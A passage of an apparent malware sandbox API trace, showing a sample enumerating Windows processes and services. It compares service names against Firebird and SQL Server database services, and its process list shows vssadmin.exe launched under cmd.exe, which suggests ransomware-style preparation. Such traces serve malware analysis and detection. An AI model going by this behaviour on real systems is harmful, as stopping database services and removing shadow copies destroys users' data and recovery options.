cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0052.195] lstrlenW (lpString="audiodg.exe") returned 11 [0052.195] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.195] lstrlenW (lpString="svchost.exe") returned 11 [0052.196] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.196] lstrlenW (lpString="svchost.exe") returned 11 [0052.196] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0052.196] lstrlenW (lpString="dwm.exe") returned 7 [0052.196] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0052.196] lstrlenW (lpString="explorer.exe") returned 12 [0052.196] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0052.197] lstrlenW (lpString="spoolsv.exe") returned 11 [0052.197] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0052.197] lstrlenW (lpString="taskhost.exe") returned 12 [0052.197] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.197] lstrlenW (lpString="svchost.exe") returned 11 [0052.197] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0052.198] lstrlenW (lpString="taskeng.exe") returned 11 [0052.198] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0052.198] lstrlenW (lpString="taskhost.exe") returned 12 [0052.198] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="poland_holmes_bryant.exe")) returned 1 [0052.198] lstrlenW (lpString="poland_holmes_bryant.exe") returned 24 [0052.198] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explicit-much-possibilities.exe")) returned 1 [0052.198] lstrlenW (lpString="explicit-much-possibilities.exe") returned 31 [0052.198] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="frankfurtextensivewv.exe")) returned 1 [0052.199] lstrlenW (lpString="frankfurtextensivewv.exe") returned 24 [0052.199] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dramatic-idle.exe")) returned 1 [0052.199] lstrlenW (lpString="dramatic-idle.exe") returned 17 [0052.199] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="britannicaconsultdemocracy.exe")) returned 1 [0052.199] lstrlenW (lpString="britannicaconsultdemocracy.exe") returned 30 [0052.199] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ecagreedreceipt.exe")) returned 1 [0052.200] lstrlenW (lpString="ecagreedreceipt.exe") returned 19 [0052.200] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="toyota.exe")) returned 1 [0052.200] lstrlenW (lpString="toyota.exe") returned 10 [0052.200] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radiation.exe")) returned 1 [0052.200] lstrlenW (lpString="radiation.exe") returned 13 [0052.200] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="club-dividend-responses.exe")) returned 1 [0052.200] lstrlenW (lpString="club-dividend-responses.exe") returned 27 [0052.200] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ur illustration.exe")) returned 1 [0052.201] lstrlenW (lpString="ur illustration.exe") returned 19 [0052.201] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="facing.exe")) returned 1 [0052.201] lstrlenW (lpString="facing.exe") returned 10 [0052.201] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="freewarefrontpage.exe")) returned 1 [0052.201] lstrlenW (lpString="freewarefrontpage.exe") returned 21 [0052.201] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="asking_pennsylvania.exe")) returned 1 [0052.202] lstrlenW (lpString="asking_pennsylvania.exe") returned 23 [0052.202] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="headline.exe")) returned 1 [0052.202] lstrlenW (lpString="headline.exe") returned 12 [0052.202] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="army_unsigned.exe")) returned 1 [0052.202] lstrlenW (lpString="army_unsigned.exe") returned 17 [0052.202] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplinedeborah.exe")) returned 1 [0052.202] lstrlenW (lpString="disciplinedeborah.exe") returned 21 [0052.203] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="distribution-gif.exe")) returned 1 [0052.203] lstrlenW (lpString="distribution-gif.exe") returned 20 [0052.203] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tribunal.exe")) returned 1 [0052.203] lstrlenW (lpString="tribunal.exe") returned 12 [0052.203] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aafeof.exe")) returned 1 [0052.203] lstrlenW (lpString="aafeof.exe") returned 10 [0052.203] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sharpdollarsvocational.exe")) returned 1 [0052.204] lstrlenW (lpString="sharpdollarsvocational.exe") returned 26 [0052.204] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="encryption.exe")) returned 1 [0052.204] lstrlenW (lpString="encryption.exe") returned 14 [0052.204] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0052.204] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0052.204] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="1с_.exe")) returned 1 [0052.205] lstrlenW (lpString="1с_.exe") returned 7 [0052.205] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x92c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0052.205] lstrlenW (lpString="cmd.exe") returned 7 [0052.205] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0052.205] lstrlenW (lpString="conhost.exe") returned 11 [0052.206] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0052.206] lstrlenW (lpString="vssadmin.exe") returned 12 [0052.206] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0052.206] lstrlenW (lpString="VSSVC.exe") returned 9 [0052.206] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.206] lstrlenW (lpString="svchost.exe") returned 11 [0052.206] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0052.207] CloseHandle (hObject=0x210) returned 1 [0052.207] Sleep (dwMilliseconds=0x1f4) [0052.941] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x58f9e8 [0053.130] EnumServicesStatusExW (in: hSCManager=0x58f9e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0053.131] GetLastError () returned 0xea [0053.131] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x12c6) returned 0x607b80 [0053.131] EnumServicesStatusExW (in: hSCManager=0x58f9e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x607b80, cbBufSize=0x12c6, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x607b80, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0053.132] CloseServiceHandle (hSCObject=0x58f9e8) returned 1 [0053.132] lstrlenW (lpString="Appinfo") returned 7 [0053.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0053.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0053.132] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0053.132] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0053.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0053.132] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0053.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0053.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0053.132] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0053.132] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0053.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0053.132] lstrlenW (lpString="AudioSrv") returned 8 [0053.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0053.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0053.133] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0053.133] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0053.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0053.133] lstrlenW (lpString="BFE") returned 3 [0053.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0053.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0053.133] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0053.133] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0053.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0053.133] lstrlenW (lpString="CryptSvc") returned 8 [0053.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0053.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0053.133] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0053.133] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0053.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0053.133] lstrlenW (lpString="CscService") returned 10 [0053.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0053.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0053.133] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0053.133] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0053.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0053.133] lstrlenW (lpString="DcomLaunch") returned 10 [0053.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0053.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0053.133] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0053.133] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0053.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0053.134] lstrlenW (lpString="Dhcp") returned 4 [0053.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0053.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0053.134] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0053.134] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0053.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0053.134] lstrlenW (lpString="Dnscache") returned 8 [0053.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0053.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0053.134] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0053.134] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0053.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0053.134] lstrlenW (lpString="DPS") returned 3 [0053.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0053.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0053.134] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0053.134] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0053.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0053.134] lstrlenW (lpString="eventlog") returned 8 [0053.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0053.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0053.134] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0053.134] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0053.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0053.134] lstrlenW (lpString="EventSystem") returned 11 [0053.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0053.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0053.135] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0053.135] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0053.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0053.135] lstrlenW (lpString="gpsvc") returned 5 [0053.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0053.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0053.135] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0053.135] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0053.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0053.135] lstrlenW (lpString="iphlpsvc") returned 8 [0053.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0053.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0053.135] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0053.135] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0053.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0053.135] lstrlenW (lpString="LanmanServer") returned 12 [0053.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0053.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0053.135] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0053.135] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0053.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0053.135] lstrlenW (lpString="LanmanWorkstation") returned 17 [0053.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0053.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0053.135] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0053.136] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0053.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0053.136] lstrlenW (lpString="lmhosts") returned 7 [0053.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0053.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0053.136] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0053.136] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0053.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0053.136] lstrlenW (lpString="MMCSS") returned 5 [0053.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0053.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0053.136] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0053.136] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0053.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0053.136] lstrlenW (lpString="MpsSvc") returned 6 [0053.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0053.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0053.136] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0053.136] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0053.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0053.136] lstrlenW (lpString="Netman") returned 6 [0053.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0053.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0053.136] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0053.136] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0053.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0053.137] lstrlenW (lpString="netprofm") returned 8 [0053.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0053.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0053.137] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0053.137] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0053.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0053.137] lstrlenW (lpString="NlaSvc") returned 6 [0053.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0053.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0053.137] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0053.137] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0053.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0053.137] lstrlenW (lpString="nsi") returned 3 [0053.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0053.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0053.137] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0053.137] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0053.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0053.137] lstrlenW (lpString="PcaSvc") returned 6 